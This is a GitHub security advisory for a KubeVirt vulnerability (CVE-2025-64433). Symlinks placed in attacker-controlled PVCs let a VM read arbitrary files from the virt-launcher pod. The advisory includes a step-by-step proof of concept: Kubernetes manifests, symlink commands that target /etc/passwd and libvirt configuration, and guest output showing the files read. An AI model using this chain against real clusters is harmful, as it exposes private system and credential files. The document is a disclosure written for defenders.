GitHub Advisoryadvisory · Go

GHSA-qw6q-3pgr-5cwq KubeVirt Arbitrary Container File Read

MEDIUM Published 2025-11-06 Modified 2025-11-17 Official page ↗
Aliases
CVE-2025-64433
Ecosystem
Go
Packages
kubevirt.io/kubevirt
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-22
Reviewed
2025-11-06

Affected packages

• Go kubevirt.io/kubevirt: < 1.5.3 → fixed in 1.5.3 • Go kubevirt.io/kubevirt: >= 1.6.0-alpha.0, < 1.6.1 → fixed in 1.6.1

Description

Summary _Short summary of the problem. Make the impact and severity as clear as possible. Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC. Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ A vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM. PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks: ```yaml The YAML definition of two PVCs that the attacker has access to apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-1 spec: accessModes: • ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-2 spec: accessModes: • ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- The attacker-controlled container used to create the symlinks in the above PVCs apiVersion: v1 kind: Pod metadata: name: dual-pvc-pod spec: containers: • name: app-container image: alpine command: ["/some-vulnerable-app"] volumeMounts: • name: pvc-volume-one mountPath: /mnt/data1 • name: pvc-volume-two mountPath: /mnt/data2 volumes: • name: pvc-volume-one persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 • name: pvc-volume-two persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 ``` By default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows: ```bash Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration. attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img attacker@dual-pvc-pod:/mnt/data1 $ls -l lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img attacker@dual-pvc-pod:/mnt/data2 $ls -l lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd ``` Of course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM: ```yaml arbitrary-container-read.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-container-read spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-container-read spec: domain: devices: disks: • name: containerdisk disk: bus: virtio • name: pvc-1 disk: bus: virtio • name: pvc-2 disk: bus: virtio • name: cloudinitdisk disk: bus: virtio interfaces: • name: default masquerade: {} resources: requests: memory: 64M networks: • name: default pod: {} volumes: • name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo • name: pvc-1 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 • name: pvc-2 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 • name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` The two PVCs will be mounted as volumes in "filesystem" mode: From the documentation of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: ```bash Deploy the VM manifest operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml virtualmachine.kubevirt.io/arbitrary-container-read created Observe the deployment status operator@minikube:~$ kubectl get vmis NAME AGE PHASE IP NODENAME READY arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True Initiate a console connection to the running VM operator@minikube:~$ virtctl console arbitrary-container-read ``` ```bash Within the `arbitrary-container-read` VM, inspect the available block devices root@arbitrary-container-read:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / -vda15 253:15 0 8M 0 part vdb 253:16 0 20K 0 disk vdc 253:32 0 512B 0 disk vdd 253:48 0 1M 0 disk Inspect the mounted /etc/passwd of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdc qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash Inspect the mounted `default_migration.xml` of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20 <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='u…

Related

Alias · CVE (1)

  • CVE-2025-64433 KubeVirt is a virtual machine management add-on for Kubernetes. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References